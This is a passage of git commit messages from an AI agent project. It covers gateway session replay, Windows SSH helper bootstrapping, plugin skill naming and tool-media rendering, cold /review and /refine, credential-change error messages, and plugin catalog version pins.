solana-foundation org repo (solana-foundation/pay), the publisher of pay.sh,
which meets the README's verified bar (from the company behind the
integration, well known).
The canonical session.resume / session.events.since replies carried only
approval and clarify prompts. Server-to-client requests sent through
gateway/session_server_requests.py (setup_beat, sudo, secret, batch clarify,
the Desktop UI bridges) kept no params and had no open_requests, so a
renderer reload mid-onboarding showed no card while the agent blocked up to
CARD_TIMEOUT_S. The legacy sidecar replayed them (tui_gateway/server_requests.py
open_requests); the shared channel already re-delivers open_requests from any
reply.

_Pending now keeps the frame's params; open_requests(events, session_id)
lists the requests still waiting on that live stream (with a batch's locked
answers), and both replies carry it. The contracts gain the optional field.
_publish_child_session_row copied the conversation-wide model_config keys
(onboarding_run) onto every child it publishes, including the canonical
reset and branch children, which are their own conversations. After /new
inside the onboarding chat the run lived twice: Skip (which names the
chat's logical id) ended the parent's copy, while the reset child's copy
stayed open, so open_session_ids never emptied and onboarding.run stayed
true.

Carry the keys only onto a compression continuation, the same
"continuation" test that already decides pin/archive.
In the onboarding chat, from the first card until the first-task card is
answered or Skip setup is pressed, the composer offers no `/` menu and a
sent slash command does not run: the words stay in the box and one info
note (fixed id, so repeated Enters never stack it) says they work once
setup is done. A slash command also no longer skips a waiting setup card.

The moment setup ends, the same chat behaves like any other: the gate
reads onboardingChatStore / isOnboardingChat, which turn false when the
run ends, so the menu and commands come back without a reload. Other
completion menus (@, :) are untouched.
session.resume now reads the live session's event_stream for open_requests,
so the hand-built live session in test_session_resume_compression_tip gets a
real SessionEvents. test_onboarding_reset reset the chat while the opening
turn's admission could still be started (session_busy on a slow runner);
it now waits until that admission is terminal.
- The Desktop's canonical adapter replaced the server's open_requests with
  entries built from its own prompts, so a warm session.activate dropped a
  waiting batch clarify and restore-pending-clarify then cleared it. The
  snapshot now keeps the server's entries beside the projected prompts.
- Automatic window requests (terminal/preview reads, preview clicks, the
  tour, theme.apply) are asked with replay=False: a reconnecting viewer is
  not handed them again, because a second delivery repeats the action.
  Requests that wait for a person keep the replay.
- Cmd/Ctrl+Enter (queueDraft) skipped the setup slash check. Every composer
  send action now asks one refusedDuringSetup rule first.
- Slash availability lives in the completion source: useSlashCompletions
  returns no adapter while setup runs, and both trigger engines (composer and
  message edit) open no `/` menu for a source without one. The `off` flag
  is gone.
Encoded buffered bootstrap informed by PR #100593 (mauricio0209) and #134707 (liuhao1024); no whole-PR cherry-pick. Preserve update and ownership fences; require isolated-bootstrap ownership capability before remote spawn.
Helper calls rebuilt a Python command from the launcher's boot-selecting runtime: they rewrote the bootstrap source with a regex and needed the runtime command at every call site. The connection result, the stored SSH state, the managed-update drain and the bootstrap rollback carry only the launcher path, so those callers fell back to a bare `python -m hermes_cli.windows_ssh_runtime` on the PM store interpreter, which has no checkout on its path. Any change to the launcher's bootstrap text would also have refused every Windows remote.

Helpers now call `<launcher> --run-module hermes_cli.windows_ssh_runtime <operation>`, the launcher's own module dispatch (present in every release launcher since v0.22.0). Each caller needs only the launcher path it already has.

Co-authored-by: henryleo <197507345+henrycyberbio@users.noreply.github.com>
Connect refuses a boot-selected Windows backend when the remote helper does not advertise runtimeBootstrapOwnership, but Test checked only that the helper supported SSH mode, so Test reported success for a remote that Connect then refused. Both paths now use one predicate, and Test reports the same update-required result.

Co-authored-by: henryleo <197507345+henrycyberbio@users.noreply.github.com>
The probe looked up only hermes.exe on PATH. A launcher publication can leave only bin\hermes.cmd, and a non-interactive SSH session may not carry the user PATH entry the installer adds, so the probe reported Hermes as not installed. It now resolves a bare hermes through PATHEXT and tries the Hermes home bin\hermes.exe and bin\hermes.cmd before the venv fallbacks.

Co-authored-by: henryleo <197507345+henrycyberbio@users.noreply.github.com>
A failed probe exec reports its stderr, and PowerShell serializes errors there as CLIXML, often behind a progress record. The UI detail is cut at 300 characters, so it showed the CLIXML header and progress record and never the error. Extract the serialized error records and decode their escapes before truncating.

Carved out of #91540: only the error decoder and its test.
The SSH Test result and the save banner map each failure kind to fixed copy, and the unknown kind mapped to "SSH connection failed.", so the error the main process returned (for a Windows remote, the probe failure such as a missing launcher or a rejected PowerShell wrapper) never reached the screen. An unknown failure now shows that error. The Test handler redacts it first, as the other SSH failure paths in main do.
Both tests print Unicode from a Python child. On Windows that child writes its pipe in the ANSI code page, and the runtime prefix runs Python with -I, which ignores PYTHONIOENCODING, so the print raised UnicodeEncodeError and the tests failed before reaching their assertions. The test programs now set their own stdout to UTF-8. Product output is unaffected: profile ids are ASCII.
Windows OpenSSH does not reliably deliver a stdin payload and its end of input to the remote PowerShell. A script read from stdin then blocks past the exec timeout and the remote powershell.exe outlives the session, so Test fails with "Could not prove that the remote Hermes install is clear" and Connect fails with a timed-out SSH operation, while an orphaned PowerShell is left on the host each time.

The platform probe, the update-marker gate, the inventory reads and the atomic spawn now carry their scripts inside a self-contained -EncodedCommand. The script is Deflate-compressed and packed 15 bits per character so every command stays under cmd.exe's 8191-character limit, and the bootstrap keeps UTF-8 console output. The spawn's caller JSON travels inside its script; the session token still reaches the helper on stdin and never appears on a command line.

Tests decode the new commands, assert that no Windows PowerShell exec passes stdin, extend the 8191-character check to the spawn command with long paths, run the long scripts through real PowerShell, and add a Windows test that drives the real marker gate with its end of input withheld.

Co-authored-by: KIDPhantom1412 <54199653+KIDPhantom1412@users.noreply.github.com>
The roster and install-id reads ran Python by rewriting the launcher's bootstrap source, behind their own PowerShell link scan and install-root rule. A link inside any profile directory aborted the whole roster, and a home nested under the install root read its install id from a different directory than the profile list.

Both reads now come from one read-only `inventory` operation of the runtime helper, reached through `--run-module` like every other helper call. It uses the install's own root resolution, profile predicate and identity reader, and creates nothing. The source rewrite and the launcher gate that required its spelling are gone.
main.ts and testDesktopConnectionConfig may not grow under the code health ratchet. The helper inspection and Connect's ownership bar now live beside the other Windows helpers as inspectWindowsSupport, and the connection-test error reads error.message as before while keeping its redaction.
Every window's 5 s disk poll and the Plugins page resolve the root through
IPC, and each resolution runs a full reconcile of unified packages' desktop
halves. Nothing serialized those passes in the main process, so overlapping
passes each decided to copy the same half and each published it with
rm + rename. When the renames interleaved, the loser failed with ENOTEMPTY,
logged "skipping unreadable package", and skipped the package for the rest of
its pass, so a same-named package in a later profile overwrote the default
home's copy (the next pass copied it back).

Writers of the root (reconcile, the profile-root migration, the git
installer's check + publish, standalone uninstall) now queue on one
per-root lock, so a later pass sees the earlier pass's copy as current.
mockRestore() cleared the spy's calls, so the no-warning assertion could
never fail. Assert inside try, restore in finally. On origin/main the test now
fails on the ENOTEMPTY warning itself (3/3 runs).
A portable plugin's skills registered as agent-plugin-<slug>-<sha8>:<skill>
(agent-plugin-blender-5a80e4ba:blender) because one manifest field named both
its plugin-data directory and its skill namespace. The hash only matters on
disk. Skills now take the plugin's own name (blender:blender), the form every
native plugin skill uses; a clash with an already-registered qualified name is
skipped with a warning naming the owner, as before. The data directory keeps
its hashed name, so no plugin data moves, and skill_view still resolves names
saved in the old form.
Two portable plugins whose names slug alike (foo.bar, foo-bar) claim one
qualified skill name. A saved hashed name now resolves only through what that
exact plugin registered; a native plugin can no longer replace a portable
plugin's skill (portable duplicates stay refused, native over native stays
last-wins); and the plugins.disabled check matches the owning plugin's key or
name instead of the skill prefix, so disabling foo-bar never blocks foo.bar.
The skills index lists plugin skills under a "plugin" heading and the
skill_view schema says to use "the qualified form plugin:skill", so models
call plugin:agent-plugin-blender-5a80e4ba:blender. That parsed as namespace
"plugin" and returned not found, so a portable plugin's skill (Blender)
never reached the agent. A bare skill name holds no colon, so a leading
"plugin:" before an already-qualified name is dropped.
The schema said "use the qualified form 'plugin:skill'" while the skills
index lists plugin skills under a heading named plugin; models read the
word literally and prefixed it. Placeholders stop the bad call at its
source (+1 tool token); the prefix tolerance stays for older transcripts.
v0.22.5 makes the control listener mandatory: the gateway refuses to start without it. On the
documented Docker layout (HERMES_HOME bind-mounted from the host) a Docker Desktop / virtiofs
mount answers EOPNOTSUPP, both for a new socket and for a stale socket inode an earlier container
left behind (it can be neither stat'ed nor removed from inside). The bind failed, start() returned
False, and the gateway shut down with "gateway session bootstrap control listener unavailable",
crash-looping under its restart backoff (#123761).

When binding in-home fails with EOPNOTSUPP/ENOTSUP, the server now listens on the same private
temp-dir socket + gateway.sock.path pointer an over-long home already uses, so every existing
protection applies unchanged: the 0700 hermes-gw-<hash> directory (squat-proof mkdtemp root when
the shared name is not private), the 0600 socket under a 0177 umask, the atomically published 0600
pointer, owner-identity cleanup, and the discovery client's pointer/peer-uid validation. Any other
errno still fails; EADDRINUSE (a live sibling) is never shadowed. The legacy client treats an
un-stat-able in-home path as absent instead of raising, and the start() warning no longer calls the
failure non-fatal.

Salvaged onto current main from #101337 by @jonpol01 (rebuilt on the private-directory,
squat-proof and atomic-pointer code that landed after it).
GatewayControlServer resolves its home, so on macOS the short /tmp home becomes
/private/tmp/...; the refusing start_unix_server compared the unresolved path, refused
nothing, and both tests saw an in-home bind.
The gateway releases a session's cached agent after an idle hour
(agent.agent_cache.idle_ttl_secs), under memory pressure and around a /moa
turn. /review read the conversation only off that cached agent, so on every
surface the gateway serves (classic CLI, TUI, Desktop, messaging) a session
left alone for an hour answered "Nothing to review yet - send a message
first." until the next message rebuilt one.

With no cached agent and no turn running, /review now reviews the session's
stored transcript (a local session's current physical transcript, else the
messaging entry's) and dispatches the reviewer from a fresh agent built on the
route, toolsets, reasoning level and preloaded skills the session's next turn
would use, with the session's own id, under the session key. The completion
therefore comes back into the same session exactly as a resident agent's does.
Only that agent's own LLM clients are released afterwards: close() would tear
down the session's terminal, and the reviewer it dispatched is detached.

Fixes #106509.

Co-authored-by: chelsealong <chelsealong@126.com>
The fresh parent a cold /review builds carried no fallback_model, so the
reviewer inherited an empty chain and failed on a primary outage that a warm
/review would have ridden out. Carry the chain the session's next turn would
carry (session_execution._build_fresh_agent's own expression).
Independent review found the fresh parent differed from the session's turn
agent in three request-visible ways: it used the daemon's startup
provider_routing instead of a local session's own (only/data_collection),
dropped the session's prefill examples, and dropped static /fast request
options. Each is now read the way run_turn_runner reads it for this session.
_resolve_turn_agent_config takes an explicit tier so the off-turn builder never
writes the runner's shared per-turn _service_tier.

The regression test now runs a resident /review and a cold one on the same
session and requires identical reviewer requests (red on the previous head:
daemon-start routing, no prefill).
A Desktop plugin can now register how Desktop shows a MEDIA: attachment
produced by one of ITS OWN tools (TOOL_MEDIA_RENDERER_AREA,
'transcript.toolMedia'). Ownership is provenance, never file type: the
transcript finds the tool call in that turn whose result produced the path
(earliest call wins, so a later `ls` only mentions it), and the plugin's
component replaces the built-in player only when that plugin's package
registered the tool.

Why: the elevenlabs-sound-effects and meshy plugins each needed a custom
card for their files and had to make the model emit a ::directive (plus a
backend handshake) to get one, which leaves non-Desktop users a raw line.
With this seam the tool keeps returning a plain MEDIA: tag every surface
understands and Desktop alone upgrades it.

- Backend: `plugins.manage list` rows carry `tools` (native tools the
  loaded plugin registered, minus built-in names and names two plugins
  list) and `tool_prefixes` (`mcp__<server>__` for each MCP server the
  loader attributed to a portable package). Contract + generated TS.
- Desktop: lib/tool-media-renderers.ts (contract, producer lookup,
  ownership resolution), store/tool-media-owners.ts (lazy per-route
  ownership list), components/assistant-ui/tool-media-slot.tsx wired into
  MarkdownLink's MEDIA and bare-path branches. Claims on core or other
  plugins' tools, or from a desktop plugin with no agent half, are refused
  with a console warning. A throwing renderer, a disabled plugin or an older
  backend fall back to the built-in player.
- Props: file {path, name, kind, mime, resolveUrl()} (stream route for
  audio/video, works on remote backends), toolName, toolCallId, args,
  result, sessionId, fallback.
- Docs: desktop-plugin-sdk.md section with a worked example; skill ref.
Found in the live Desktop pass: a real model ran the probe plugin's tool
through the deferred-tool bridge, so the transcript's tool-call part was
named `tool_call` with the real tool in `args.calls[0]` and no renderer
matched. Local bridge batches are split into one entry per call before
they run, so a single-entry `tool_call` is unwrapped to the tool it ran
(multi-entry batches are connector-only and stay the bridge).

A plugin card is block content and a MEDIA: link sits inside a paragraph,
so React logged invalid <div>-in-<p> nesting. When a tool media renderer
is registered, a paragraph that delivers a MEDIA: file renders as a <div>
with the same paragraph rhythm.
Review fixes (Greptile on #143980):

- Ownership is exact: `plugins.manage list` reports each package's tools by
  name, including the tools its MCP servers actually registered, instead of
  `mcp__<server>__` prefixes (sanitized names can collide and a clamped long
  name loses its prefix). A name two packages list belongs to neither;
  Desktop's longest-prefix guess is gone and `tool_prefixes` is dropped.
- Ownership follows the chat: the list is fetched from the session's own
  owner route with its profile (`knownOwnerForSession` +
  `requestForSessionProfile`) and cached per owner, not from the window's
  active gateway.
- Stale answers never restore removed ownership: each fetch carries a request
  id and only the newest request for an owner may write; a plugin-list change
  clears the cache and orphans in-flight answers.
- A failed fetch retries with a bounded backoff (2 s doubling to 60 s)
  instead of latching the error.
- The producer match is a whole-path match (`/out/a.glb` never matches inside
  `/out/a.glb.bak` or `/x/out/a.glb`).
Stale-answer guard (an invalidated in-flight answer never restores ownership),
per-owner cache keys and profile params, bounded doubling retry backoff that
resets on success and on a plugin-list change. Each group proven red against a
source mutation that removes its guard.
The producer lookup matched paths against raw JSON text, so a path followed by
an escaped newline (several MCP media blocks joined into one result, terminal
output "wrote /out/a.mp3\nDone") was missed and a later tool that merely named
the file took it over. Results are now decoded (JSON-string leaves, escaped
non-ASCII) and compared in one spelling (file:// URLs, Windows slashes and
case), with any non-path character ending a path.

Ownership is the earliest successful mention up to the delivering message,
across turns: a file re-delivered later keeps its producer, a path the user
named first (an upload) has none, and a stored result carrying error /
success:false counts as failed (reloaded parts are always isError:false).
The bridge unwrap mirrors normalize_tool_call_entries. Decoded texts and
per-message answers are cached on the store's own objects.
An ownership answer read before a package's MCP server connected (or while it
was lazy) was cached ready with no tools and never re-read, so the card never
appeared. The backend now counts a lazily cached server's tools, and Desktop
re-reads ownership on a bounded backoff (1 s, then 5 s doubling, 6 tries)
while a claimed tool has no owner, plus after reload.mcp and plugin-list
changes. A re-read keeps the previous answer drawing (no widget remounts);
the stale-answer guard still drops anything in flight. Old active-route keys
are evicted; a routed owner fetches without an active gateway.

A same-name native mcp_servers entry that runs a different server is the
one that runs, so its tools no longer credit the package. Renderers read
files from the chat's owning backend, and a renderer returning null keeps the
built-in player.
The git installer copied a desktop-only repo verbatim, so a shipped
.hermes-package.json named another package's agent half as its own (pairing
it and letting it render that package's tool media). The installer now drops
it; only the installer and the reconcile pass write the marker.

A paragraph holding a file link nested in emphasis, or a bare file link, now
becomes the block wrapper too (no validateDOMNesting warning), keeps its props
and the paragraph's bidi rules. Docs cover the refined ownership rules.
load_config() expands ${VAR} in a native mcp_servers entry while the
package declaration keeps its placeholders until connect, so a user who
re-declares the package server (to widen its trust) with an env-backed
argument compared as a different server and the package lost its cards.
Both sides now compare after the same connect-time expansion.
The local CLI force-exports TERMINAL_CWD = os.getcwd() at config load, except
inside a gateway process, which it detected with the _HERMES_GATEWAY env marker.
gateway/run.py sets that marker in os.environ, so every shell the gateway's
terminal tool spawns inherits it. A `hermes chat` launched from such a shell
skipped the export, kept the gateway's TERMINAL_CWD (terminal.cwd from
config.yaml), and both its terminal tool and its system prompt ran in that
directory while sessions.cwd recorded the real launch dir.

Ask whether THIS process imported gateway.run instead; that is exactly when the
marker is set in-process, minus the inherited case.

Fixes #95078
The one-shot ## Skills guidance ended with "do not create or edit skills:
this is a one-shot run with no later session to reuse them." Drop that
clause; the rest of the guidance (load a skill only when it adds knowledge,
skip process skills) stays.
A messaging /refine looked only at the cached agent, so once the gateway
released it (idle TTL, LRU/memory pressure, /moa) a conversation with
stored turns answered "Nothing to refine yet - send a message first."

Read the durable transcript instead: the routing entry is looked up
read-only (peek_session_id, so an unknown chat never gets a session
created by /refine), an unreadable transcript says so instead of
claiming emptiness, and a cached agent holding no messages refines the
stored conversation. A cold cache with stored turns reports them.

Salvaged from #83872 (four commits adapted to the handler's current
home in gateway/slash_commands_goals.py; the strict transcript read it
added is on main as TranscriptReadError).
The previous commit stopped claiming the conversation was empty but still
asked the user to send a message first. A cold messaging /refine now runs
the review: the stored transcript goes through the resident path's own
_spawn_background_review call, made from the cold parent /review already
builds (session_cold_review.cold_review_parent: the session's route,
toolsets, reasoning, /fast tier, provider routing, prefill, fallback
chain). A resident agent sends its review summary through its last
turn's callback (run_turn_runner._make_bg_review_callbacks); the cold
parent sends it to the same chat and thread with the same interim,
non-conversational metadata. Its LLM clients are released once the
review's request ends, on the thread that built it.

Live (real gateway, fake messaging platform, loopback model, cached agent
dropped by the real idle sweep): before "Nothing to refine yet - send a
message first."; after the review runs, "Self-improvement review: Memory
updated" lands in the chat, and the review request matches a warm
/refine's (model, provider routing, prefill, tools).

Fixes #83871.

Co-authored-by: fangliquanflq <fangliquan@qq.com>
A real gateway with a user-plugin messaging platform and a loopback model:
a resident /refine, then a restart (which drops the cached agent the way
the idle sweep does, without the sweep's one-minute first pass) and a cold
/refine on the same chat. The cold summary must land in that chat and its
review request must equal the resident one (model, provider routing,
session id, prefill, tools). Red on the previous base: "Nothing to refine
yet - send a message first."

Docs: the messaging slash table says /refine works on a chat left idle.
spawn_context_thread (contextvars carried, HX012) instead of a bare Thread;
an error after the review started is logged with its traceback, one before
it becomes the /refine reply.
Every other /refine surface (CLI, TUI, local sessions) passes explicit=True to
_spawn_background_review; the messaging handler did not, so a messaging
/refine ran as an unattended review: memory removals and replacements were
staged as proposals instead of applied (c0714575c3d's gate), and a bare
/refine on the managed local runtime was deferred to the idle queue. Pass it
on both the resident and the cold path; the cold parent's clients can no
longer be released under a deferred review.

The test's review now removes a memory entry per /refine and requires both
removals applied (red on the previous head: WARM_FACT still present).
A review finishing after the gateway loop closed raised from
run_coroutine_threadsafe and left the adapter.send coroutine unclosed;
safe_schedule_threadsafe closes it and logs the failure (Greptile finding).
Interim stream edits could show a delivery directive before it was complete:
the display cleaner only strips full deliverable tags, so `MEDIA:/home/…`
without its extension, or `[[audio_`, went out as text. For a voice-only
reply the cleaned final is empty, so finalize never edits the bubble and the
partial path stays visible above the voice note on Telegram.

Defer interim edits while the open line may still become a directive, the
same way partial silence markers are deferred. The final flush is unchanged,
so undeliverable tags stay visible (#34517).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
#138551's hold-back deferred interim frames for ANY "MEDIA:" on the open line, so prose
such as "social media: Twitter, ..." froze the stream until the line ended. Hold back only
when what follows MEDIA: can still become a deliverable path (quote, ~/, /, a drive
letter), mirroring MEDIA_TAG_CLEANUP_RE's path openers.
Review on #144009: the pure check moves to gateway/stream_consumer_directives.py so the
consumer stays under 1,000 lines, and a MEDIA prefix after CJK/ASCII punctuation
("图片:MED") is held like one after whitespace. A complete tag has no left boundary, so
showing the prefix and then stripping it broke prefix-stable frames.
Maintainer ruling: a finite `hermes chat -q` / `--oneshot` / `-z` run may author
skills. Drop the one-shot strip of skill_manage (ONESHOT_HIDDEN_TOOLS /
prune_oneshot_tools) from both places that applied it: the agent's tool build
(agent/agent_init.py) and the gateway's session tool inventory
(gateway/session_local_inventory.py). The one-shot skills prompt (domain skills
only) and the delegation cap are unchanged.

Before this, the two paths disagreed in the field: a gateway-owned one-shot on an
installed build still pinned skill_manage while getting the one-shot prompt. With
no strip there is nothing left to disagree about.

Tests: the two assertions that pinned "no skill_manage in one-shot" now pin the
opposite, per the ruling; docs updated.
auxiliary.background_review.enabled: false must stop only automatic
post-turn forks (#87250). _spawn_background_review keyed the delegate and
enabled gates on `focus is None`, so a bare /refine (explicit=True, no
focus) replied "Reviewing this conversation in the background" and spawned
nothing. Gate on `not explicit and focus is None` instead.

Fixes #100762
Real python -m gateway.run on the chaos messaging platform with
auxiliary.background_review.enabled: false and memory.nudge_interval: 1.
A normal turn sends no review request to the loopback model (with
enabled: true the same turn sends two), while a bare /refine on the
resident agent and on a restarted gateway's stored conversation reaches
the model and posts the summary. On the base both /refine legs only
answered "Reviewing this conversation in the background".
_maybe_requeue_preempted_review skipped only focused reviews, so a bare
/refine cancelled by a live turn on the managed local runtime went to the
idle queue, whose dispatch-time enabled re-check then dropped it when
automatic reviews are off. Requeue is for automatic reviews only.
When streaming already delivered the answer, the gateway suppresses its normal
final send and with it extract_images(), so a reply carrying ![alt](url) or an
<img> tag showed the tag as text and never sent the picture. The post-stream
rescan already called extract_images() and discarded the result; it now
delivers those URLs in the same attachment batch as the MEDIA: files, and the
streamed display drops the tag through the same extractor so display and
delivery agree.
Layered on the post-stream image delivery:

- Hold back an interim edit while the open line is a half-typed image tag
  (``![alt``, ``![alt](https://ho``, ``<img src="…``), like the MEDIA:
  hold-back. Without it a frame showed part of the tag and the next frame
  removed it, which breaks prefix-stable draft frames.
- Remove a delivered tag from streamed text without trimming or collapsing
  the text around it (extract_images strips the whole string), so frames
  before and after the tag stay prefixes of each other. The two tag patterns
  move to module level in gateway/platforms/base.py so the display strip and
  extract_images match the same tags.
- The queued follow-up lane's direct send strips the image tags the
  post-stream uploader now attaches; its docstring had kept them visible only
  because that uploader ignored them.

Co-authored-by: liuhao1024 <11816344+liuhao1024@users.noreply.github.com>
Review follow-up: the hold-back checked only the last line and only a "!"
at the start of a word. extract_images has no left boundary and accepts alt
text spanning lines, so "chart:!" followed by "[c](…png)" showed the "!" and
then removed it, and "![first\nsec" showed the first alt line. The image
hold now matches the unfinished tag at the end of the whole text, and a
trailing "!" is held unless it follows a word, closing bracket/quote or
sentence punctuation (how prose ends a sentence; holding those would keep
every exclamation off the live draft). The removed tag no longer takes the
following spaces with it, so "chart: ![…](…) More" keeps its space, as the
non-streaming path does.
A local session never sends a different key than it started with (#139615).
When the config.yaml secret on its route changes and the backend restarts,
every turn and model pick on that chat is refused with
launch_credentials_unavailable. That policy is unchanged. The copy was the bug:

- Turn (every surface): the refusal escaped TurnRunner.run_sync as an
  exception into the generic agent-error handler, so the reply read
  "Something went wrong ... launch_credentials_unavailable (...). Use /retry
  to try again" plus a false "Some actions may already have run" notice.
  /retry can never succeed here. run_sync now settles it like the gone-folder
  refusal: a failed, never-run turn (api_calls 0) whose text says the key the
  chat started with changed, that /retry fails the same way, and that /new
  starts a chat on the current key; stamped failure_reason
  launch_credentials_unavailable, failure_retryable false. The generic handler
  path (a refusal raised later in the turn) uses the same copy and stamp.
- agent/error_surface maps the code to the gateway layer (no Switch provider).
- Desktop: an error card for the code (Start new session, no Retry), and the
  model-menu/model-option toast (#143133) shows the card's sentence with a
  Start new session button instead of the raw code.
- TUI: describeRpcError rewrites the bare code (model pick refusal) to the
  same remedy.
- Classic CLI: refusal_text (/compress, /worktree) and a refused /model print
  the remedy instead of the bare code; --api-key on resume that does not match
  now says a session never switches keys and to start a new one.

Copy: gateway.errors.launch_credentials_unavailable in all 17 locales,
userMessages.rpc.launchCredentialsChanged in all TUI catalogs, the Desktop
card in all 9 catalogs carrying error codes. The over-cap de/es/fr/ja/zh
Desktop catalogs move their refusal card rows into <lang>_error_codes.ts
siblings (the ru shape), so each shrinks while gaining the entry.

Refs #143133 (its raw toast; the reporter's trigger without a config change is not root-caused here)
Review follow-ups (Greptile on #144032):
- A launch key revoked by a restart (a CLI --api-key session resumed without
  it) is refused inside the turn's runtime resolution, which
  _resolution_failure_reply turned into an auth_permanent reply asking for a
  new session "from the CLI". It now returns the shared copy and the
  launch_credentials_unavailable code.
- refused_turn_result attaches the error_surface descriptor, so settlement
  commits the explanation and its card as the transcript's failed-turn
  boundary (gateway_refusal_boundary). A reopened chat used to show no row at
  all for the refused turn; it now shows the refusal and the card. The gone
  workspace refusal gets the same.
The curated /new copy dropped the 'launch_credentials_unavailable (<field>: ...)'
text that the config-policy daemon test (and anyone grepping logs or a pasted
bug report) matches on. Append it, untranslated, as the last line when the
refusal names a field, so the friendly sentence leads and the diagnostic stays.
Picks up hermes-official-plugins#182: a viewed or user-edited file is never
overwritten by a later Meshy download, brief Meshy lookup failures no longer
hide finished models or cache a false not-found, plus the 0.5.0 audit fixes
(polling, long-job timeouts, remote-backend uploads, 403 handling).
arm_process_watcher scheduled the completion watcher with run_coroutine_threadsafe from
the tool thread that started the process, which copies THAT thread's context into the
watcher task; the completion batch flush and the turn it admits inherit it. Armed from a
delegate child, a process the child handed off with process_manage(action='handoff')
completed into a parent turn that ran with the child's _DELEGATED_CHILD_CONTEXT set: the
parent's own terminal(background, notify_on_complete) came back notify_on_complete:false
with the "You are a subagent" note and no heartbeat, its commands were stamped with the
child's HERMES_DELEGATED_CHILD_CONTEXT Kanban fence (which then leaked into the shell), and
sudo was refused as if no user could answer.

Start the watcher in an empty context, as startup-recovered watchers already run; delivery
binds the owning profile's scope itself via _completion_event_scope.

Real-daemon test: local session, scripted loopback model, delegate -> child starts a
notify process and hands it off -> its completion starts a parent turn that starts a
second notify process. Red on main (notify false + subagent_note, fence stamped), green here.
The first process exited after a fixed sleep 3, so a slow runner could deliver
the child's process_manage handoff after the exit, which transfer_ownership
refuses, and the test then waited 90 s for a completion that could not come
(Greptile finding). The process now waits on a release file the scripted model
creates once the handoff result is back, and a refused handoff fails the test
at once with its error.
A temp dir with spaces split the unquoted path in the shell test and let the
process exit before the handoff (Greptile finding).
Starting the watcher in an empty context (previous commit) also dropped the
owning profile's scope, and only delivery rebound it: the completion text was
built earlier, so a secondary profile's background output ran through the
LAUNCH profile's transform_terminal_output hooks and skipped its own
(independent /review, reproduced on a two-profile gateway). Startup-recovered
watchers have the same root context. _run_process_watcher now binds
_completion_event_scope(watcher) around the whole watch (_watch_process), which
also makes the per-step scope blocks inside it redundant.

The regression test now runs on a two-profile gateway (custom root) with a
per-profile output-hook plugin and requires the secondary's hook on the
parent's own completion: red on the previous head (HOOK_LAUNCH), red on main
(notify_on_complete false), green here.
The listed edition no longer rebinds live agent internals. It routes through
the llm_request middleware it already registered, prices rows from an operator
rate card, and reads TYPESAFE_API_KEY through the host secret scope with
requires_env declared.
The pin now includes the fix for a sticky turn claiming a rewrite it did not
make, and a one-line log for a Jev credential error.
Keeps decide.py identical across the two editions so the personal fix of the
same-provider rewrite guard cannot be lost on the next copy.
The listed edition now shows core's model guard (expensive / data-policy /
large-context check) in the composer strip and resends with
confirm_expensive_model only after the user's click, instead of answering the
guard silently. The automatic payload.apply path surfaces the message and
leaves the session on its current model. notice.py also stops treating an
unknown provider as a model change, so Desktop auto mode no longer re-issues
config.set model on every routed turn.
sha 96ffb13 -> cbb85a9 (exact link types, related work, CLI no longer creates or
resets the hashing key). description: name the anchor tokens the code actually uses
(a URL or host, a shell command with its first argument, a package install, a file
path, an environment variable, an IP or e-mail address) instead of identifiers and
quoted strings; state the measured counts on Hermes 3166d61 (3.14: 56 passed;
3.11: 48 passed, 1 skipped) instead of the older 46; acknowledge prior work on
memory lineage. Drop provides_commands, which the catalog schema does not define.
sha cbb85a9 -> 37132da (labelled evaluation, boilerplate filtering, sharper anchor
extraction). Measured counts on Hermes 3166d61 are now 3.14: 59 passed; 3.11: 51 passed,
1 skipped. Adds the held-out evaluation: precision 0.988 for the default link set, recall
1.00 on verbatim, paraphrase-with-operative-token and two-hop-via-curator cases, against
0.385 when every link is recorded. States the limits in the same breath: the paraphrases
keep their operative token by construction, and a rewrite by a real model is not yet
measured.
The pin moves from 37132da to 8df4bcb. The description no longer says a
rewrite by a real model is unmeasured: two batches of 60 runs each are
reported, with pre-registered false links falling from 53/60 to 6/60 and
clean ones from 10/60 to 2/60. Test counts follow the new build.
The entry points at the README for the evaluation instead of restating
precision and p-values; a catalog description should say what the plugin
reads and writes.
0.1.5 bounds the e-mail pattern in anchor_strings (quadratic on hostile input:
40 KB of "a." took 4.1 s, 200 KB 104 s; now 2 MB takes 0.03 s) and adds
per-pattern timing tests that run in a subprocess under a hard timeout. It also
takes the Hermes home from hermes_constants.get_hermes_home(), so skill lookup
follows the session's profile instead of the launch profile.
0.1.6 sets the 2 MB timing guard's bar where the hardware can actually meet it
and records the second behavioural difference of the bounded e-mail pattern.
0.1.7 fixes the end-to-end failure introduced in 0.1.4 (a user turn is
the origin of text the user dictated), so the hermes-tools job is green
again; 0.1.8 keeps one address one anchor and adds hostile-input timings
for all eight patterns.
Moves the entry to c-pompa/s2docs@531a24c7b6,
the package commit that bumps the plugin to 0.1.1. Its plugin/mcp.json
launches the server at b126b28ceeef18699a414c9b4e9cd0b30e2c5ddd. Only the
sha and version fields change.
A search window over the session history: keyword search through the gateway's
own full text index, meaning search when a session-find service answers on
loopback, typed filters mirrored as chips, a preview pane with the matching
message and its neighbours, and the round trip in the footer.

Pinned at the v1.0.0 tag. Needs no credentials, no environment variables and no
network calls of its own; the backend reports whether it can rank by meaning, so
an install with no service still gets a working window.
Yandex Disk over its REST API (browse, search, read, write, upload, download,
share, delete and restore files), pinned to the v0.6.1 release commit of
akinfold/hermes-yandex-disk.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
v0.6.2 resends a local file from its start when an upload is retried and
gives every local-path and base-URL guard a test of its own.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit was AI-generated with minimal to no oversight.
Co-authored-by: Codex <codex@openai.com>
Carries volcengine/OpenViking#5712, which drops the query-token overlap
boost from recall ranking. The current pin 9f150ece (2.1.1) predates it.

e855796c is the v0.5.1 release tag, the first release that contains the
merge (6bd89a36). Quick Local now installs OpenViking 0.5.x instead of
0.4.x, so the disclosure line says 0.5.x.
Repin to an asset-only child of cd370f7c6ef9279ae044269943ce2b7532a8c753 and use its immutable raw PNG URL. Keep version 0.1.0, all disclosures and capabilities, community tier, and existing screenshots unchanged.
The seven hermes-windows-* plugins now live in one repository,
Yicheng-Mark/hermes-windows-plugins, one subdirectory per plugin. Each entry
keeps its name, description, tier, category, version and capabilities; only
repo, sha, subdir and docs_url move.

No plugin content changed: every subdirectory is the old repository root,
identical file for file, minus .github/ and .gitattributes, which mean nothing
inside a subdirectory. The old repositories are left in place.
